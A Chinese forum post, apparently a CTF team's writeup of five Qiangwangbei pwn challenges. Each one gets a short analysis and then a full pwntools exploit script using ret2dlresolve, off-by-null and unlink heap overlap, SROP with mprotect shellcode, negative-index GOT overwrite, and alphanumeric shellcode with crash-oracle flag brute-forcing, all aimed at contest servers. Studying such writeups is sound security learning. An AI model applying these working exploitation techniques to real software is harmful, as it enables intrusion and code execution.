首页
论坛
课程
招聘
[原创] 强网杯 几道pwn题的writeup by syclover
2021-6-15 00:11 8825

[原创] 强网杯 几道pwn题的writeup by syclover

2021-6-15 00:11
8825

no_output

首先是利用strcpy把fd给覆盖为0

 

image-20210614235710694

 

然后read hello_boy 通过检测

 

image-20210614235737470

 

接着触发算数运算错误

 

image-20210614235803187

 

就能进入栈溢出函数

 

image-20210614235822580

 

最后就是直接用32位ret2dlresolve的模板了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *
arch      = 32
challenge = "./test"
local = int(sys.argv[1])
context(log_level = "debug",os = "linux")
if local:
    r = process(challenge)
    #r = gdb.debug(challenge,"break main")
    #libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
    elf = ELF(challenge)
else:
    #libc = ELF("./libc.so.6")
    r = remote("39.105.138.97",1234)
    elf = ELF(challenge)
if arch==64:
    context.arch='amd64'
if arch==32:
    context.arch='i386'
p   = lambda      : pause()
s   = lambda x    : success(x)
re  = lambda x     : r.recv(x)
ru  = lambda x    : r.recvuntil(x)
rl  = lambda      : r.recvline()
sd  = lambda x    : r.send(x)
sl  = lambda x    : r.sendline(x)
itr  = lambda      : r.interactive()
sla = lambda a, b : r.sendlineafter(a, b)
sa  = lambda a, b : r.sendafter(a, b)
leave_ret = 0x080491a5
bss_stage = elf.bss() + 0x200
fake_ebp = bss_stage
offset = 0x4c-8+8
#read_plt  = elf.plt["read"]
 
#gdb.attach(r)
p1 = b"\x00" * 0x30
sd(p1)
sleep(1)
sd(b'A' * 0x20)
str1 = b'hello_boy'
str1 = str1.ljust(0x10,b'\x00')
sd(str1)
sl("-2147483648")
sl("-1")
sleep(0.1)
 
read_plt = 0x80490C4
 
ppp_ret = 0x08049581 # ROPgadget --binary test --only "pop|ret"
pop_ebp_ret = 0x08049583
leave_ret = 0x080491a5 # ROPgadget --binary test --only "leave|ret"
 
stack_size = 0x800
bss_addr = 0x0804c040 # readelf -S test | grep ".bss"
base_stage = bss_addr + stack_size
 
 
payload = flat('A' * offset
, p32(read_plt)
, p32(ppp_ret)
, p32(0)
, p32(base_stage)
, p32(100)
, p32(pop_ebp_ret)
, p32(base_stage)
, p32(leave_ret))
r.send(payload)
 
cmd = "/bin/sh"
plt_0 = 0x8049030 # objdump -d -j .plt test
rel_plt = 0x8048414 # objdump -s -j .rel.plt test
dynsym = 0x08048248  # readelf -S test
strtab = 0x08048318 #readelf -S test
fake_write_addr = base_stage + 28
fake_arg = fake_write_addr - rel_plt
r_offset = elf.got['read']
 
align = 0x10 - ((base_stage + 36 - dynsym) % 16)
fake_sym_addr = base_stage + 36 + align # 填充地址使其与dynsym的偏移16字节对齐(即两者的差值能被16整除),因为结构体sym的大小都是16字节
r_info = ((((fake_sym_addr - dynsym)//16) << 8) | 0x7) # 使其最低位为7,通过检测
fake_write_rel = flat(p32(r_offset), p32(r_info))
fake_write_str_addr = base_stage + 36 + align + 0x10
fake_name = fake_write_str_addr - strtab
fake_sym = flat(p32(fake_name),p32(0),p32(0),p32(0x12))
fake_write_str = 'system\x00'
 
payload2 = flat('AAAA'
, p32(plt_0)
, fake_arg
, p32(ppp_ret)
, p32(base_stage + 80)
, p32(base_stage + 80)
, p32(len(cmd))
, fake_write_rel # base_stage + 28
, 'A' * align # 用于对齐的填充
, fake_sym # base_stage + 36 + align
, fake_write_str # 伪造出的字符串
)
payload2 += flat('A' * (80-len(payload2)) , cmd + '\x00')
payload2 += flat('A' * (100-len(payload2)))
#pause()
r.send(payload2)
r.interactive()

babypwn

限制点:glibc2.27,用seccomp禁掉了exec

 

漏洞点:edit函数有个隐性的off by null,当我们填充完chunk,然后下一个chunk的size为最低字节刚好为0x11时就能触发

 

image-20210614235918107

 

然后我们依次把prev_size位高位清零,就能伪造prev_size,从而通过unlink实现overlap

 

利用思路:off by null 加 unlink 就能实现overlap,从而任意地址写,show函数有个加密

 

image-20210615000102350

 

用z3解就行,把一个unsortedbin申请回来再show它的fd,就能泄露libc,最后套SROP读flag.txt的模板即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
from pwn import *
from z3 import *
context.log_level = 'debug'
context.arch = 'amd64'
context.binary = './babypwn'
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#sh = process("./babypwn")
#print(libc.sym['_IO_2_1_stdout_'])
#libc = ELF('./libc-2.31.so')
sh =remote("39.105.130.158",8888)
 
 
def solve(target):
    a1 = BitVec('a1', 33)
    ori_a1 = a1
    for i in range(2):
        item1 = (32 * a1) & 0xffffffff
        a1 ^= item1 ^ (((a1 ^ item1) >> 17) & 0xffffffff) ^ (((item1 ^ a1 ^ (((a1 ^ item1) >> 17) & 0xffffffff)) << 13) & 0xffffffff)
    s = Solver()
    s.add(a1 == target)
    s.check()
    result = s.model()
    return result[ori_a1].as_long()
 
 
def add(size):
    sh.sendlineafter(">>> ","1")
    sh.sendafter("size:\n",str(size))
 
def delete(index):
    sh.sendlineafter(">>> ","2")
    sh.sendlineafter("index:\n",str(index))
 
def edit(index,data):
    sh.sendlineafter(">>> ","3")
    sh.sendlineafter("index:\n",str(index))
    sh.sendafter("content:\n",data)
 
def show(index):
    sh.sendlineafter(">>> ","4")
    sh.sendlineafter("index:",str(index))
    sh.recvuntil('\n')
    re1 = int(sh.recvuntil("\n")[:-1],16)
    re1 = solve(re1)
    re2 = int(sh.recvuntil("\n")[:-1],16)
    re2 = solve(re2) * 0x100000000
    return (re1+re2)
    #return int(sh.recvuntil("\n")[:-1],16)
 
def debug():
    gdb.attach(sh)
    pause()
 
 
for i in range(7):
    add(0x100# 0-6
 
for i in range(7):
    add(0xf0)
for i in range(7):
    delete(i+7)
 
 
add(0x108) #7
add(0x80) #8
add(0x108) #9
add(0x100) #10
add(0x100) #11
edit(10,b'a'*0xf0+p64(256)+p64(0x21))
edit(11,b'\x21'*0x10)
edit(9,'a'*0x108)
edit(9,'a'*0x107+'\x11')
edit(9,'a'*0x106+'\x11')
edit(9,'a'*0x105+'\x11')
edit(9,'a'*0x104+'\x11')
edit(9,'a'*0x103+'\x11')
edit(9,'a'*0x102+'\x11')
edit(9,'a'*0x100+'\xb0\x02')
for i in range(7):
    delete(i)
#edit(7,b'a'*0x100+p64(0x110))
delete(7)
delete(10)
#debug()
delete(8)
add(0x190) #0
libc_base = show(9) - libc.sym['__malloc_hook'] - 0x10 -96
print(hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
free_hook = libc_base + libc.symbols['__free_hook']
#debug()
edit(0,b'\x00'*0x100+p64(0)+p64(0x90)+p64(free_hook))
add(0x80) #1
add(0x80) #2
setcontext = libc_base + libc.symbols['setcontext']
success("setcontext: " + hex(setcontext))
context.arch = "amd64"
new_execve_env = free_hook & 0xfffffffffffff000
shellcode1 = '''
xor rdi, rdi
mov rsi, %d
mov edx, 0x1000
 
mov eax, 0
syscall
 
jmp rsi
''' % new_execve_env
edit(2, p64(setcontext+53)+ p64(free_hook + 0x10) + asm(shellcode1))
#print(hex(free_hook))
#debug()
frame = SigreturnFrame()
frame.rsp = free_hook + 8
frame.rip = libc_base + libc.symbols['mprotect'] # 0xa8 rcx
frame.rdi = new_execve_env
frame.rsi = 0x1000
frame.rdx = 4 | 2 | 1
#frame = frame.decode('ascii')
edit(11,bytes(frame))
#debug()
delete(11)
 
shellcode = ""
shellcode += shellcraft.open('flag.txt')
shellcode += shellcraft.read(3, 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)
payload = asm(shellcode)
 
sh.sendline(payload)
sh.interactive()

orw

漏洞点在add和free chunk时没有检测下标

 

image-20210615000224472

 

image-20210615000246528

 

所以我们可以填负数直接写free函数的GOT表,由于给了rwx权限

 

image-20210615000319291

 

可以直接写shellcode执行,最后shellcode拓展攻击写orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
import sys
context.log_level = "debug"
context.arch='amd64'
 
log    = lambda name, info : success(name +" :"+ hex(info))
search = lambda function   : libc.symbols[function]
sd     = lambda msg        : p.send(msg)
sdl    = lambda msg        : p.sendline(msg)
sda    = lambda info, msg: p.sendafter(info, msg)
sdla   = lambda info, msg: p.sendlineafter(info, msg)
rc     = lambda num  : p.recv(str(num))
ru        = lambda msg  : p.recvuntil(msg)
uu32   = lambda msg  :u32(msg.ljust(4, '\x00'))
uu64   = lambda msg  :u64(msg.ljust(8, '\x00'))
 
local = 0
chunk_list = 0x5555557560e0#0x2020E0
times = 0x555555756130
def db():
    if local == 'l':
        byte = raw_input("debug or not:")
        if byte == 'c\n':
            gdb.attach(p, "b *0x555555757160")
        else:
            print "No"
    else:
        success("Remoting...")
 
def choose(num):
    p.sendlineafter("choice >>", str(num))
 
def add(idx, size, msg):
    choose(1)
    sdla("index:", str(idx)) 
    sdla("size", str(size))
    sdla("content:", msg) 
 
def delete(idx):                                                                                                                               
    choose(4
    sdla("index:", str(idx))
 
def exp():
    shell = "\x48\x87\xDF" #xchg rdi, rbx
    shell += "\x48\x96" #xchg rsi, rbx
    shell += "\x48\x83\xF6\x70" #xor rsi,0x70
    shell +=  "\x6A\x00\x58" #push 0; pop eax;
    shell += "\xBA\xF0\x00\x00\x00" #push 0xf0;pop edx;
    shell += "\x0F\x05"    #syscall
    shell += "\x56\x5C\xFF\xE4" #push rsi;pop rsp;jmp rsp;
    add(-25, 0, shell)
    db()
    delete(-25)
 
    '''
        push 0x67616c66
        mov rdi, rsp
        xor edx, edx /* 0 */
        xor esi, esi /* 0 */
        /* call open() */
        push 2 /* 2 */
        pop rax
        syscall
    '''
    payload = asm(shellcraft.open('flag'))
    '''
    xchg rdi,rax
    xchg rsi, rcx
    push 0x90
    pop rdx
    push 0
    pop rax
    syscall
    '''
    payload += "\x48\x97\x48\x87\xCE\x68\x90\x00\x00\x00\x5A\x6A\x00\x58\x48\x81\xF6\xE0\x00\x00\x00\x0F\x05"
    '''
    push 0x1
    pop rax
    push 0x1
    pop rdi
    syscall
    '''
    payload+= "\x6A\x01\x58\x6A\x01\x5F\x0F\x05"
    p.sendline(payload)
    p.interactive()
 
 
if __name__ == '__main__':
    if local == 'l':
        p = process("./pwn")
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
        #p = process(['./dubblesort'],env={"LD_PRELOAD":"./libc_64.so.6"})
    else:
        p = remote("39.105.131.68", "12354")
    exp()

shellcode

  • alpha3 加密shellcode可以获得可打印字符的shellcode,
  • 通过切换32位 64位可以从获得open和read的系统调用,
  • 读入flag以后没有打印,使用cmp+jz的形式,逐位比较,如果对应位字符正确就死循环,

image-20210615000442530

 

第一段shellcode必须可打印,先mmap出来一块32位可访问内存,读入第二段shellcode, 第二段可以不要求可打印了,这一段主要是为了配合retfq跳到32位执行,

 

然后到32位以后可以使用open系统调用了,再跳回64位,这时候可以直接retfq到下一句,可以写一起,然后64位下可以read进来flag, 然后使用一段cmp + jz的形式写一段比较,如果flag对应位正确的话死循环,这样可以通过程序是否崩溃判断正确,于是可以进行爆破。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
 
def pwn(cn, reloc, ch):
        payload = "Sh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G2p160h05103f0u0Y3i4J2A0p0s2F0Z0r0j030M071n0C0j0N050A403j3e2L0P104N0b0p2J0p7l052E3P0w0q2N0l2I2s127p2n0p0u0x4J04"
        cn.sendline(payload)
        open32 = b'j\x01\xfe\x0c$hflag\x89\xe31\xc91\xd2j\x05X\xcd\x80'
 
        to64 = b"j3h\x2e@@@H\xcb"
        read64 = b'j\x03_1\xc0jPZH\x89\xe6\x0f\x05'
 
        if reloc == 0:
            shellcode = "cmp byte ptr[rsp+{0}], {1}; jz $-4; ret".format(reloc, ch)
        else:
            shellcode = "cmp byte ptr[rsp+{0}], {1}; jz $-5; ret".format(reloc, ch)
        check = asm(shellcode, arch='amd64', os='linux')
 
        payload = open32 + to64 + read64 + check
 
        cn.send(payload)
 
 
# 爆破:
reloc = 0
ans = []
debug = 1
my_flag = ''
while True:
        for ch in range(33, 127):
            cn = remote("39.105.137.118", 50050)
            # cn = process("./shellcode")
            try:
                print(ch)
                pwn(cn, reloc, ch)
                cn.recvline(timeout=3.0)
                #p.interactive()
                my_flag = my_flag + chr(ch)
                print("=>", my_flag)
                reloc += 1
                cn.close()
                break;
            except EOFError:
                ch += 1
                cn.close()
 
print("".join([chr(i) for i in ans]))
 
# 逐字节验证了下:
flag = 'flag{cdc31bf52a72521c93b690ad1978856d}'
len1 = len(flag)
 
for i in range(len1):
    cn = remote("39.105.137.118", 50050)
    pwn(cn, i, ord(flag[i]))
    print('ok=>', i, flag[i])
    cn.interactive()

pipeline

  • libc2.31
  • 堆溢出
  • 配合对风水直接修改pipe->data, 实现任意地址修改,

漏洞主要是写入data的时候v1是有符号16位,

 

image-20210615000744412

 

后面进入函数以后是无符号整数, 会从int 16为拓展为unsigned int 64,

 

image-20210615000828304

 

image-20210615000934457

 

这里的绕过可以在前面if (size <= v1) 使用v1为负数, 然后进入my_read 函数以后截取后部分这里会拓展为int类型, 这时候可以让后半部分为正数, 我们构造出来一个0xf0f00f0f的输入, 即可在后面实现my_read(buf, 0x0f0f) 的溢出,

 

配合堆风水,改掉对应的pipe->data位, 实现任意地址写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *
 
pie  = 1
arch = 64
bps  = [0x00000000000018AF]
 
def pipe():
    sla(">> ", "1")
 
def data(index, offset, size):
    sla(">> ", '2')
    sla('index: ', str(index))
    sla('offset: ', str(offset))
    sla('size: ', str(size))
 
def edit(index, size, data):
    sla('>> ', '4')
    sla('index: ', str(index))
    sla('size: ', str(size))
    sla('data: ', data)
 
def show(index):
    sla('>> ', '5')
    sla('index: ', str(index))
 
def dele(index):
    sla('>> ', '3')
    sla('index: ', str(index))
 
 
def exp():
    pipe()
    pipe()
    pipe()
 
    data(0, 0, 0x410)
    data(1, 0, 0x38)
    data(0, 0, 0x420)
 
    pipe()
    data(2, 0, 0x40)
 
    pipe()
    show(2)
    ru('data: ')
    LIBC = u64(re(6, 2).ljust(8, b'\x00')) - 0x3b5be0
    slog['libc'] = LIBC
 
    data(4, 0, 0x40)
    edit(2, 0xf0f00ff0, flat('a' * 0x48, 0x21, LIBC + libc.sym['__realloc_hook']))
    edit(4, 8, p64(LIBC + libc.sym['system']))
 
    edit(0, 0x8, '/bin/sh\x00')
 
    data(0, 0, 0x30)
 
context.os='linux'
 
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
 
slog = {'name' : 111}
local = int(sys.argv[1])
 
if arch==64:
    context.arch='amd64'
if arch==32:
    context.arch='i386'
 
if local:
    cn = process('./rbin')
    # cn = process(['./ld', './bin'], env={"LD_PRELOAD":"./libc"})
    libc = ELF("/glibc/2.31/64/lib/libc-2.31.so")
else:
    cn = remote( )
 
elf = ELF('./bin')
 
re  = lambda m, t : cn.recv(numb=m, timeout=t)
recv= lambda      : cn.recv()
ru  = lambda x    : cn.recvuntil(x)
rl  = lambda      : cn.recvline()
sd  = lambda x    : cn.send(x)
sl  = lambda x    : cn.sendline(x)
ia  = lambda      : cn.interactive()
sla = lambda a, b : cn.sendlineafter(a, b)
sa  = lambda a, b : cn.sendafter(a, b)
sll = lambda x    : cn.sendlineafter(':', x)
 
exp()
 
slog_show()
 
ia()

[培训] 优秀毕业生寄语:恭喜id咸鱼炒白菜拿到远超3W月薪的offer,《安卓高级研修班》火热招生!!!

最后于 2021-6-15 18:21 被77pray编辑 ,原因:
上传的附件:
收藏
点赞4
打赏
分享
最新回复 (5)
雪    币: 2879
活跃值: 活跃值 (2956)
能力值: ( LV15,RANK:685 )
在线值:
发帖
回帖
粉丝
无名侠 活跃值 11 2021-6-15 00:12
2
0
77带我
雪    币: 37
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
haha2 活跃值 2021-6-15 09:57
3
0

雪    币: 37
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
haha2 活跃值 2021-6-15 09:58
4
0
作为帖子附件发一下,或者传到百度网盘,分享一下链接。
雪    币: 1033
活跃值: 活跃值 (1117)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
77pray 活跃值 2021-6-15 18:22
5
0
mb_qrxptfqn 作为帖子附件发一下,或者传到百度网盘,分享一下链接。
已传
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
jiejiee 活跃值 2021-7-3 20:41
6
0

 怎么判断是有符号数的?


最后于 2021-7-11 12:46 被jiejiee编辑 ,原因:
游客
登录 | 注册 方可回帖
返回